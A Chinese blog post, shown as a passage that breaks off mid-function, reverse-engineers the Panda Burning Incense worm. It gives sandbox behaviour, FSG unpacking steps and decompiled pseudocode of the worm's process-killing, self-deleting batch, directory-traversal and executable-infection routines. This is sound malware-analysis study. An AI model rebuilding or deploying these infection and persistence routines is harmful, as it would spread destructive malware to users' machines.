本文最后更新于:2025年10月2日 晚上
这B考公是一点都学不下去了,所以鼠鼠决定开一个新坑,学点一直很想学的病毒分析😋
0x00.写在一切之前
早在小学的时候,鼠鼠就听信计老师讲过熊猫烧香,那时只觉得这只揣着三根香的panda莫名的喜感🤔
现在,过去的回旋镖镖到了鼠鼠,鼠鼠也有能力和兴趣好好分析一下惹!
0x01.基本信息
样本报告-微步在线云沙箱

0x02.运行下试试欸😋
环境:win7 32位
具体表现
1、大部分.exe文件图标变成熊猫烧香

2、被感染的文件夹下出现Desktop_.ini文件,里面记录当前日期

3、打开任务管理器自动关闭
4、打开PChunter,发现可疑进程

5、发现可疑启动项

6、存在异常网络连接

内网都是139端口,这些外网ip抓包看了看发现都是雅虎、搜狐、google这类浏览器的ip

行为分析
开火绒安全分析,开始监控
1、写入和修改文件

xiongmao.exe先在C:\Windows\System32\drivers\下生成可疑文件spo0lsv.exe

到处生成Desktop_.ini

在C盘根目录下生成setup.exe和autorun.inf


autorun.inf里的内容,指定自动启动的文件是C:\setup.exe

然后就是到处改.exe文件

其中FILE_modified操作我怀疑是文件隐藏之类的,because新创建的文件没一个直接显示的
2、注册表&启动项
修改自启动项,查看注册表,可以看到确实是被改成了恶意程序


修改文件夹属性使其不显示隐藏文件(1:不显示隐藏文件;2:显示;0:数据损坏,无法显示)


对IE浏览器的一些配置进行修改

网络设置

看下来,大部分都是自启动和隐藏操作
3、进程监控
存在大量查找窗口,怀疑是在检测任务管理器

枚举进程,估计是查杀软🤔?

别的跨进程读写、快内存读写都挺常规的好像
4、网络行为
先内网的139端口连一圈,然后访问一些常见网站

5、特殊行为
尼玛6.0的火绒剑用的属实不爽,换了一个5.0的
但是5.0的火绒剑开启监控后,一运行熊猫烧香就崩,单独离线版啥的都试了,没啥效果
刚开始怀疑是查找窗口或者是进程枚举把HRSword.exe给杀了🤔
后来一想不是哥们你07年的病毒杀火绒🗡,尊嘟假嘟
等会调试的时候看看
主要是少了这些恶意行为分析,很可惜

0x03.样本提取
点击运行,把释放在C:\Windows\System32\drivers\spo0lsv.exe提出来
查壳
DIE看眼先

都是一些基本信息
FSG2.0:简单来说就是文件里包含一个运行时“壳”程序,启动时先执行壳。壳负责在程序加载后解压(或解密)被压缩的代码到内存。当解压完成后,壳会跳转到程序的真实入口点(OEP,Original Entry Point),程序继续正常执行。
FSG2.0的壳的话,那就直接OD启动,动调着来脱了
脱壳
一般FSG2.0先看有无pushad; popad这些特征汇编
可惜本样本并没有
那就直接追着esp来好了,在push ebp后面直接下断点

单步步进下去,存在stos的话就代表存在解密&字节复制操作

继续单步,4001c6,获取模块基址;4001d6,获取函数基址,4001d9,填充IAT(导入地址表,类似elf中的got表个人感觉🤔)

这边三个跳转一般就意味着解压快结束了(oep一般存放在寄存器里),在4001d1完成跳转

这个就正常多了,用插件dump出来

修复IAT
使用ImportRec修复IAT
指定好OEP,感觉函数数量不对,循环了几十遍是有得,怎么才3个函数

查看IAT表,发现用0x7fffffff把模块隔开了👊

改成0后重新修复,选择刚才dump出来的文件修复

再次用DIE查看,发现壳已经去掉了

0x04.静态&动态分析
ida打开,sig选择这个,可以识别出几个Delphi函数

查看程序入口start
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| void __noreturn start() { char v0; int v1; int v2; int v3; int v4; unsigned int v5[5]; int v6; _DWORD v7[5]; int savedregs;
v6 = 0; v7[0] = 0; Sysinit::__linkproc__ InitExe(dword_40D1C8); v5[2] = (unsigned int)&savedregs; v5[1] = (unsigned int)&loc_40D669; v5[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v5); dword_40F7E8[0] = dword_40D678; dword_40F7E8[1] = dword_40D67C; LOWORD(dword_40F7E8[2]) = word_40D680; BYTE2(dword_40F7E8[2]) = byte_40D682; System::__linkproc__ LStrAsg(&dword_40F7DC, dword_40D68C); System::__linkproc__ LStrAsg(&dword_40F7E0, dword_40D6B0); System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D6D0); System::__linkproc__ LStrAsg(&dword_40F7DC, dword_40D700); System::__linkproc__ LStrAsg(&dword_40F7E0, dword_40D710); System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D720); dword_40F7E8[1] = dword_40D72C; LOWORD(dword_40F7E8[2]) = word_40D730; BYTE2(dword_40F7E8[2]) = byte_40D732; dword_40F7E8[1] = dword_40D738; LOWORD(dword_40F7E8[2]) = word_40D73C; BYTE2(dword_40F7E8[2]) = byte_40D73E; dword_40F7E8[1] = dword_40D744; LOWORD(dword_40F7E8[2]) = word_40D748; BYTE2(dword_40F7E8[2]) = byte_40D74A; dword_40F7E8[0] = dword_40D74C; dword_40F7E8[1] = dword_40D750; LOWORD(dword_40F7E8[2]) = word_40D754; BYTE2(dword_40F7E8[2]) = byte_40D756; System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D760); dword_40F7E8[1] = dword_40D76C; LOWORD(dword_40F7E8[2]) = word_40D770; BYTE2(dword_40F7E8[2]) = byte_40D772; dword_40F7E8[0] = dword_40D774; dword_40F7E8[1] = dword_40D778; LOWORD(dword_40F7E8[2]) = word_40D77C; BYTE2(dword_40F7E8[2]) = byte_40D77E; System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D788); dword_40F7E8[1] = dword_40D794; LOWORD(dword_40F7E8[2]) = word_40D798; BYTE2(dword_40F7E8[2]) = byte_40D79A; dword_40F7E8[1] = dword_40D7A0; LOWORD(dword_40F7E8[2]) = word_40D7A4; BYTE2(dword_40F7E8[2]) = byte_40D7A6; dword_40F7E8[1] = dword_40D7AC; LOWORD(dword_40F7E8[2]) = word_40D7B0; BYTE2(dword_40F7E8[2]) = byte_40D7B2; dword_40F7E8[0] = dword_40D7B4; dword_40F7E8[1] = dword_40D7B8; LOWORD(dword_40F7E8[2]) = word_40D7BC; BYTE2(dword_40F7E8[2]) = byte_40D7BE; System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D7C8); dword_40F7E8[1] = dword_40D7D4; LOWORD(dword_40F7E8[2]) = word_40D7D8; BYTE2(dword_40F7E8[2]) = byte_40D7DA; dword_40F7E8[1] = dword_40D7E0; LOWORD(dword_40F7E8[2]) = word_40D7E4; BYTE2(dword_40F7E8[2]) = byte_40D7E6; dword_40F7E8[1] = dword_40D7EC; LOWORD(dword_40F7E8[2]) = word_40D7F0; BYTE2(dword_40F7E8[2]) = byte_40D7F2; dword_40F7E8[1] = dword_40D7F8; LOWORD(dword_40F7E8[2]) = word_40D7FC; BYTE2(dword_40F7E8[2]) = byte_40D7FE; dword_40F7E8[1] = dword_40D804; LOWORD(dword_40F7E8[2]) = word_40D808; BYTE2(dword_40F7E8[2]) = byte_40D80A; dword_40F7E8[0] = dword_40D80C; dword_40F7E8[1] = dword_40D810; LOWORD(dword_40F7E8[2]) = word_40D814; BYTE2(dword_40F7E8[2]) = byte_40D816; System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D820); System::__linkproc__ LStrAsg(&dword_40F7D4, dword_40D830); System::__linkproc__ LStrAsg(&dword_40F7D8, dword_40D85C); sub_405250(dword_40D8A0, aXboy_0); System::__linkproc__ LStrCmp(dword_40F7D4, v7[0]); if ( !v0 ) ExitProcess_0(0); sub_405250(&unk_40D8DC, aWhboy_0); v1 = System::__linkproc__ LStrCmp(dword_40D908, v6); if ( !v0 ) ExitProcess_0(0); v2 = sub_40819C(v1); v3 = sub_40D18C(v2); sub_40D088(v3); while ( GetMessageA(&Msg, 0, 0, 0) ) DispatchMessageA(&Msg); __writefsdword(0, v5[0]); v4 = System::__linkproc__ LStrArrayClr(&loc_40D670); System::__linkproc__ Halt0(v4); }
|
这边比较明显的就是 “xboy”和”whboy”(武汉boy ?)两个字符串的验证
od里跟着调一下,感觉像405250像是个解密func,同时栈里面也出现了敏感信息

405250点进去一个异或贴脸,那decode是跑不了了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ...... if ( v3 > 0 ) { v4 = 1; do { v6 = unknown_libname_75(v10); unknown_libname_70(&v9, *(unsigned __int8 *)(v14 + v4 - 1) ^ (*(unsigned __int8 *)(v10 + v4 % v6) % 0xAu)); System::__linkproc__ LStrCat(&v11, v9); ++v4; --v3; } while ( v3 ); } ......
|
sub_40819c
首先进入主函数1,把几个自命名的函数先说一下
sub_4053ac
此函数的返回值为固定返回C:\Windows\System32,故重命名为 GetSystemDirectory
1 2 3 4 5 6 7 8 9 10 11 12
| int __fastcall GetSystemDirectory(int *a1) { int result; CHAR Buffer[268];
GetSystemDirectoryA(Buffer, 0x104u); unknown_libname_112(a1, Buffer, 261); result = unknown_libname_113(*a1); if ( *(_BYTE *)(*a1 + result - 1) != '\\' ) return System::__linkproc__ LStrCat(a1, &dword_405400); return result; }
|
sub_405fc4
此函数的功能为kill指定进程,故重命名为VirusKiller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| _DWORD *__fastcall VirusKiller(int a1) { _DWORD *v1; void *hObject; bool i; char v4; int v6; unsigned int v7[5]; int v8; int v9; int v10; int v11; int v12; _DWORD v13[9]; int v14; int v15; int savedregs;
v12 = 0; v10 = 0; v9 = 0; v8 = 0; v11 = 0; v15 = a1; System::__linkproc__ LStrAddRef(a1); v1 = v13; v7[2] = (unsigned int)&savedregs; v7[1] = (unsigned int)&loc_4060F6; v7[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v7); hObject = (void *)unknown_libname_114(2, 0); v13[0] = 296; for ( i = unknown_libname_115(hObject, v13) != 0; i; i = unknown_libname_116(hObject, v13) != 0 ) { unknown_libname_93(v15, &v11); sub_405E98(v11, &v12); v6 = v12; unknown_libname_112(&v8, &v14, 260); unknown_libname_93(v8, &v9); sub_405E98(v9, &v10); System::__linkproc__ LStrCmp(v6, v10); if ( v4 ) { v1 = (_DWORD *)sub_405FA4(v13[2]); CloseHandle_0(hObject); goto LABEL_7; } } CloseHandle_0(hObject); LOBYTE(v1) = 1; LABEL_7: __writefsdword(0, v7[0]); System::__linkproc__ LStrArrayClr(&loc_4060FD); System::__linkproc__ LStrClr(&v15); return v1; }
|
sub_407B68
此函数的功能为写入bat批处理文件的操作以及启动未被感染的程序,故将名称变更为writebatfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| int writebatfile() { int v0; int v1; int _:try1_; int v3; int v4; int v5; int v6; int v7; int v8; int v9; int v10; int v11; int v12; int v13; int _:try2_; int v15; int _del_%0_; int v17; int v18; const CHAR *lpCmdLine; char *ExceptionList; void *v22; int *v23; int v24; int v25[2]; int v26; int v27; int v28; int v29; int v30; int v31; _BYTE v32[460]; int v33; int savedregs;
v23 = &savedregs; v22 = &loc_407E31; ExceptionList = (char *)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); System::Randomize(); GetTempDir(&v31);
sub_40576C(v0, &v30); System::__linkproc__ LStrCatN(&v33, 3); System::__linkproc__ Assign(v32, v33); *off_40E2BC = 2; v1 = System::__linkproc__ RewritText(v32); System::__linkproc__ _IOTest(v1); _:try1_ = System::__linkproc__ WriteLString((int)v32, (int)aTry1); v3 = System::__linkproc__ WriteLn(_:try1_); System::__linkproc__ _IOTest(v3); ExceptionList = aDel; System::ParamStr(0); System::__linkproc__ LStrCatN(&v29, 3); v4 = System::__linkproc__ WriteLString((int)v32, v29); v5 = System::__linkproc__ WriteLn(v4); System::__linkproc__ _IOTest(v5); ExceptionList = aIfExist; System::ParamStr(0); System::__linkproc__ LStrCatN(&v28, 4); v6 = System::__linkproc__ WriteLString((int)v32, v28); v7 = System::__linkproc__ WriteLn(v6); System::__linkproc__ _IOTest(v7); ExceptionList = aRen; System::ParamStr(0); System::ParamStr(0); sub_405534(v25[1], &v26); System::__linkproc__ LStrCatN(&v27, 8); v8 = System::__linkproc__ WriteLString((int)v32, v27); v9 = System::__linkproc__ WriteLn(v8); System::__linkproc__ _IOTest(v9); ExceptionList = aIfExist; System::ParamStr(0); System::__linkproc__ LStrCatN(v25, 5); v10 = System::__linkproc__ WriteLString((int)v32, v25[0]); v11 = System::__linkproc__ WriteLn(v10); System::__linkproc__ _IOTest(v11); ExceptionList = (char *)::ExceptionList; System::ParamStr(0); System::__linkproc__ LStrCatN(&v24, 3); v12 = System::__linkproc__ WriteLString((int)v32, v24); v13 = System::__linkproc__ WriteLn(v12); System::__linkproc__ _IOTest(v13); _:try2_ = System::__linkproc__ WriteLString((int)v32, (int)aTry2); v15 = System::__linkproc__ WriteLn(_:try2_); System::__linkproc__ _IOTest(v15); _del_%0_ = System::__linkproc__ WriteLString((int)v32, (int)aDel0); v17 = System::__linkproc__ WriteLn(_del_%0_); System::__linkproc__ _IOTest(v17); v18 = System::__linkproc__ Close(v32); System::__linkproc__ _IOTest(v18); ExceptionList = 0; lpCmdLine = (const CHAR *)System::__linkproc__ LStrToPChar(v33); WinExec(lpCmdLine, (UINT)ExceptionList); __writefsdword(0, (unsigned int)v22); System::__linkproc__ LStrArrayClr(&loc_407E38); return System::__linkproc__ LStrClr(&v33); }
|
具体流程

于当前目录下生成Desktop_.ini,生成C:\Windows\System32\drivers\spo0lsv.exe(如果本身为C:\Windows\System32\drivers\spo0lsv.exe,则跳过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| v35 = &savedregs; v34[1] = (unsigned int)&loc_408781; v34[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v34); System::ParamStr(0); unknown_libname_89(v55[1], &System::AnsiString); System::__linkproc__ LStrCat(&System::AnsiString, aDesktopIni); if ( (unsigned __int8)Sysutils::FileExists(System::AnsiString) ) { System::ParamStr(0); unknown_libname_89(v54[1], v55); System::__linkproc__ LStrCat(v55, aDesktopIni); lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v55[0]); SetFileAttributesA(lpFileName, 0x80u); Sleep(1u); System::ParamStr(0); unknown_libname_89(v53[2], v54); System::__linkproc__ LStrCat(v54, aDesktopIni); lpFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v54[0]); DeleteFileA(lpFileName_1); } System::ParamStr(0); sub_407650(v53[1], &v64, a1, a2, p_Msg); System::__linkproc__ LStrClr(&v63); for ( i = unknown_libname_113(v64); i > 0 && *(_BYTE *)(v64 + i - 1); --i ) { unknown_libname_108((int)v53); System::__linkproc__ LStrCat3(&v63, v53[0], v63); } if ( !v63 ) { System::ParamStr(0); Sysutils::AnsiUpperCase(v52[2]); n128 = v52[3]; GetSystemDirectory((int *)&v51); v32 = v51; ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDrivers; spo0lsv.exe = spo0lsv_exe; System::__linkproc__ LStrCatN(v52, 3); Sysutils::AnsiUpperCase(v52[0]); System::__linkproc__ LStrCmp(n128, v52[1]); if ( !v6 ) { VirusKiller((int)spo0lsv_exe); VirusKiller((int)spo0lsv_exe); n128 = 128; GetSystemDirectory((int *)&v49); v32 = v49; ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDrivers; System::__linkproc__ LStrCatN(&v50, 3); n5 = (const CHAR *)System::__linkproc__ LStrToPChar(v50); SetFileAttributesA(n5, (DWORD)spo0lsv_exe); Sleep(1u); spo0lsv.exe = 0; GetSystemDirectory(&n9); n10 = n9; drivers__ = aDrivers; System::__linkproc__ LStrCatN(&v48, 3); n1 = (const CHAR *)System::__linkproc__ LStrToPChar(v48); System::ParamStr(0); n2 = (const CHAR *)System::__linkproc__ LStrToPChar(v46[1]); CopyFileA(n2, n1, (BOOL)spo0lsv_exe);
ExceptionList_1 = 1; GetSystemDirectory(&v45); System::__linkproc__ LStrCatN(v46, 3); n3 = (const CHAR *)System::__linkproc__ LStrToPChar(v46[0]); WinExec(n3, (UINT)spo0lsv_exe); ExitProcess_0(0); } }
|
若运行程序为源病毒程序,删除源病毒程序,重新生成C:\Windows\System32\drivers\spo0lsv.exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| if ( !(unsigned __int8)sub_405458(spo0lsv_exe) ) { n128 = 128; GetSystemDirectory((int *)&v42); v32 = v42; ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDrivers; System::__linkproc__ LStrCatN(&v43, 3); lpFileName_2 = (const CHAR *)System::__linkproc__ LStrToPChar(v43); SetFileAttributesA(lpFileName_2, (DWORD)spo0lsv_exe); Sleep(1u); GetSystemDirectory((int *)&uCmdShow); spo0lsv.exe = (char *)uCmdShow; System::__linkproc__ LStrCatN(&v41, 3); lpFileName_3 = (const CHAR *)System::__linkproc__ LStrToPChar(v41); DeleteFileA(lpFileName_3); n14 = unknown_libname_113(v64); System::__linkproc__ LStrDelete(&v64, n14 - v59, v59); n10 = unknown_libname_113(v64); v19 = unknown_libname_113(v64); System::__linkproc__ LStrDelete(&v64, v19, n10); System::__linkproc__ LStrLAsg(&v61, v64); n10 = (int)&savedregs; drivers__ = (char *)&loc_408730; ExceptionList_1 = (int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList_1); GetSystemDirectory(&v38); System::__linkproc__ LStrCatN(&v39, 3); System::__linkproc__ Assign(v57, v39); *off_40E2BC = 2; n15 = System::__linkproc__ RewritText(v57); System::__linkproc__ _IOTest(n15); n16 = System::__linkproc__ WriteLString((int)v57, v61); v22 = System::__linkproc__ Flush(n16); System::__linkproc__ _IOTest(v22); v23 = System::__linkproc__ Close(v57); System::__linkproc__ _IOTest(v23); n10 = 1; GetSystemDirectory((int *)&drivers___1); drivers__ = drivers___1; ExceptionList_1 = (int)aDrivers; System::__linkproc__ LStrCatN(&v37, 3); n4 = (const CHAR *)System::__linkproc__ LStrToPChar(v37); WinExec(n4, (UINT)spo0lsv.exe); __writefsdword(0, (unsigned int)ExceptionList); } ExitProcess_0(0);
|
若运行程序为被感染程序,将源文件从被感染的文件中提取出来并覆写被感染的文件。于临时目录生成bat批处理文件,删除被感染的文件,直接结束进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| n11 = unknown_libname_113((int)v63); System::__linkproc__ LStrDelete(&v64, i, n11); if ( (int)__linkproc__ LStrPos(dword_4087D8, v63) > 0 ) { __linkproc__ LStrPos(dword_4087D8, v63); System::__linkproc__ LStrCopy(&v60); System::__linkproc__ LStrDelete(&v60, 1, 5); __linkproc__ LStrPos(&dword_4087E4, v60); System::__linkproc__ LStrCopy(&v62); n6 = __linkproc__ LStrPos(&dword_4087E4, v60); System::__linkproc__ LStrDelete(&v60, 1, n6); v59 = unknown_libname_91(v60); n128 = (int)&savedregs; v32 = &loc_40857A; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); System::__linkproc__ Assign(v58, v62); *off_40E2BC = 2; n7 = System::__linkproc__ RewritText(v58); System::__linkproc__ _IOTest(n7); unknown_libname_113(v64); System::__linkproc__ LStrCopy(&v44); n12 = System::__linkproc__ WriteLString((int)v58, v44); n13 = System::__linkproc__ Flush(n12); System::__linkproc__ _IOTest(n13); v15 = System::__linkproc__ Close(v58); System::__linkproc__ _IOTest(v15); __writefsdword(0, (unsigned int)ExceptionList); writebatfile();
|
sub_0x40d18c
sub_40a5b0
创建了多线程

进去一看,是个循环遍历的操作

sub_409348
好家伙,进去一看全是各种文件夹字符串

定位到核心代码段,所以可得此处功能为遍历目录,创建Desktop_.ini
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| System::__linkproc__ LStrCatN(v94, 3); if ( !(unsigned __int8)Sysutils::FileExists(v94[0]) ) { n128_3 = 128; System::AnsiString_1 = n128_1; ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)System::AnsiString; __Desktop_.ini = (int *)aDesktopIni_1; System::__linkproc__ LStrCatN(&v82, 3); lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v82); SetFileAttributesA(lpFileName, (DWORD)ExceptionList); Sleep(1u); GetLocalTime(&SystemTime); sub_40576C(SystemTime.wYear, (int)&ExceptionList_2); ExceptionList = ExceptionList_2; __Desktop_.ini = _Desktop__ini; sub_40576C(SystemTime.wMonth, (int)&__Desktop_.ini_3); __Desktop_.ini_2 = __Desktop_.ini_3; ExceptionList_1 = (struct _EXCEPTION_REGISTRATION_RECORD *)_Desktop__ini; sub_40576C(SystemTime.wDay, (int)&dwFileAttributes_3); dwFileAttributes_1 = dwFileAttributes_3; System::__linkproc__ LStrCatN(&v101, 5); System::__linkproc__ LStrCatN(&v78, 3); Mxdsql::ShowSQLWindow(v101, v78); System::__linkproc__ LStrCatN(&v77, 3); lpFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v77); SetFileAttributesA(lpFileName_1, dwFileAttributes_1); Sleep(1u); LABEL_32: System::__linkproc__ LStrCat3(&n128, n128_1, System::AnsiString); sub_409348(n128, a2, a3, a4); LABEL_59: Sleep(0x14u); goto LABEL_60; } n128_3 = (int)n128_1; System::AnsiString_1 = (char *)System::AnsiString; ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDesktopIni_1; System::__linkproc__ LStrCatN(&v93, 3); sub_407650(v93, &v102, a2, a3, a4); GetLocalTime(&SystemTime); sub_40576C(SystemTime.wYear, (int)&System::AnsiString_2); System::AnsiString_1 = System::AnsiString_2; ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)_Desktop__ini; sub_40576C(SystemTime.wMonth, (int)&__Desktop_.ini_1); __Desktop_.ini = __Desktop_.ini_1; __Desktop_.ini_2 = _Desktop__ini; sub_40576C(SystemTime.wDay, (int)&ExceptionList_3); ExceptionList_1 = ExceptionList_3; System::__linkproc__ LStrCatN(&v101, 5); System::__linkproc__ LStrCmp(v102, v101); if ( !v5 ) { System::__linkproc__ LStrCatN(&v88, 3); lpFileName_2 = (const CHAR *)System::__linkproc__ LStrToPChar(v88); SetFileAttributesA(lpFileName_2, 0x80u); Sleep(1u); GetLocalTime(&SystemTime); sub_40576C(SystemTime.wYear, (int)&dwFileAttributes); dwFileAttributes_2 = dwFileAttributes; sub_40576C(SystemTime.wMonth, (int)&v86); sub_40576C(SystemTime.wDay, (int)&v85); System::__linkproc__ LStrCatN(&v101, 5); System::__linkproc__ LStrCatN(&v84, 3); Mxdsql::ShowSQLWindow(v101, v84); System::__linkproc__ LStrCatN(&v83, 3); lpFileName_3 = (const CHAR *)System::__linkproc__ LStrToPChar(v83); SetFileAttributesA(lpFileName_3, dwFileAttributes_2); Sleep(1u); goto LABEL_32; } System::__linkproc__ LStrCat3(&v89, n128_1, System::AnsiString); sub_4087E8(v89);
|
sub_407f00
看到这个0xa00000警觉起来,大于10Mb大小的文件没有被感染,于是猜测感染的核心代码就在附近
最终定位到函数sub_0x7f00

分析感染行为,在被感染程序前插入源病毒,文件尾加上特征后缀”whboy”+被感染程序原名称+”.exe”+”\x02”+文件大小+“\x01”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| int __usercall sub_407F00@<eax>(int a1@<eax>, int Buffer@<ebx>, int Servername@<edi>, int a4@<esi>) { char v4; const CHAR *lpFileName; const CHAR *lpExistingFileName; int v7; int v8; int v9; int v10; int v11; int v12; int v13; unsigned int v15[3]; unsigned int v16[2]; int *v17; int v18; int v19; int v20; int v21; int v22; _BYTE v23[460]; int v24; int v25; _BYTE *v26; int v27; int savedregs;
v19 = 0; v18 = 0; v20 = 0; v21 = 0; v22 = 0; v26 = 0; v25 = 0; v24 = 0; v27 = a1; System::__linkproc__ LStrAddRef(a1); v17 = &savedregs; v16[1] = (unsigned int)&loc_408145; v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v16); v15[2] = (unsigned int)&savedregs; v15[1] = (unsigned int)&loc_408110; v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v15); sub_405534(v27, &v22); if ( !(unsigned __int8)sub_4077B4(v22) ) { System::Randomize(); System::ParamStr(0); System::__linkproc__ LStrCmp(v27, v21); if ( !v4 ) { System::__linkproc__ LStrClr(&v26); sub_407650(v27, (int *)&v26, Buffer, Servername, a4); if ( v26 ) { if ( (int)__linkproc__ LStrPos( aWhboy, v26) <= 0 ) { lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v27); SetFileAttributesA(lpFileName, 0x80u); Sleep(1u); System::ParamStr(0); lpExistingFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v20); if ( CopyFileA(lpExistingFileName, lpFileName, 0) ) { sub_405534(v27, &v19); v7 = unknown_libname_113((int)v26); sub_40576C(v7, (int)&v18); System::__linkproc__ LStrCatN(&v24, 6); System::__linkproc__ LStrLAsg(&v25, v26); System::__linkproc__ Assign(v23, v27); *off_40E2BC = 2; v8 = System::__linkproc__ Append(v23); System::__linkproc__ _IOTest(v8); v9 = System::__linkproc__ WriteLString((int)v23, v25); v10 = System::__linkproc__ Flush(v9); System::__linkproc__ _IOTest(v10); v11 = System::__linkproc__ WriteLString((int)v23, v24); v12 = System::__linkproc__ Flush(v11); System::__linkproc__ _IOTest(v12); v13 = System::__linkproc__ Close(v23); System::__linkproc__ _IOTest(v13); } } } } } __writefsdword(0, v15[0]); __writefsdword(0, v16[0]); System::__linkproc__ LStrArrayClr(&loc_40814C); return System::__linkproc__ LStrArrayClr(v17); }
|


sub_40c374
设置了一个定时器,点进去看看

sub_40bc88
本函数的功能为遍历盘符,获取可用的,故重命名为GetRootPath
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| int __usercall GetRootPath@<eax>( int a1@<eax>, unsigned int a2@<ebx>, unsigned int a3@<edi>, unsigned int lpFileName@<esi>) { int i; const CHAR *lpRootPathName; __int16 DriveTypeA; unsigned int v9[6]; int v10; int v11; int v12; int savedregs;
v12 = 0; v11 = 0; v10 = 0; v9[5] = a2; v9[4] = lpFileName; v9[3] = a3; v9[2] = (unsigned int)&savedregs; v9[1] = (unsigned int)&loc_40BD18; v9[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v9); for ( i = 0; i != 26; ++i ) { unknown_libname_108((int)&v11); System::__linkproc__ LStrCat3(&v12, v11, sub_40BD30); lpRootPathName = (const CHAR *)System::__linkproc__ LStrToPChar(v12); DriveTypeA = GetDriveTypeA(lpRootPathName); if ( DriveTypeA == 3 || DriveTypeA == 4 || DriveTypeA == 2 ) { unknown_libname_108((int)&v10); System::__linkproc__ LStrCat(a1, v10); } } __writefsdword(0, v9[0]); return System::__linkproc__ LStrArrayClr(&loc_40BD1F); }
|
sub_40bd34
此函数的作用是打开文件并读取进程序内存,故重命名为OpenAndRead_File
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| int __usercall OpenAndRead_File@<eax>( int System::AnsiString@<eax>, int *a2@<edx>, int __strlen@<ebx>, int a4@<edi>, int lpFileName@<esi>) { int v6; int v7; int v8; int v9; int v10; int v11; unsigned int v13[3]; unsigned int v14[2]; int *v15; int v16; int lpFileName_1; int __strlen_1; int v19; _BYTE v20[20480]; _BYTE v21[332]; _BYTE v22[4]; int System::AnsiString_1; int savedregs;
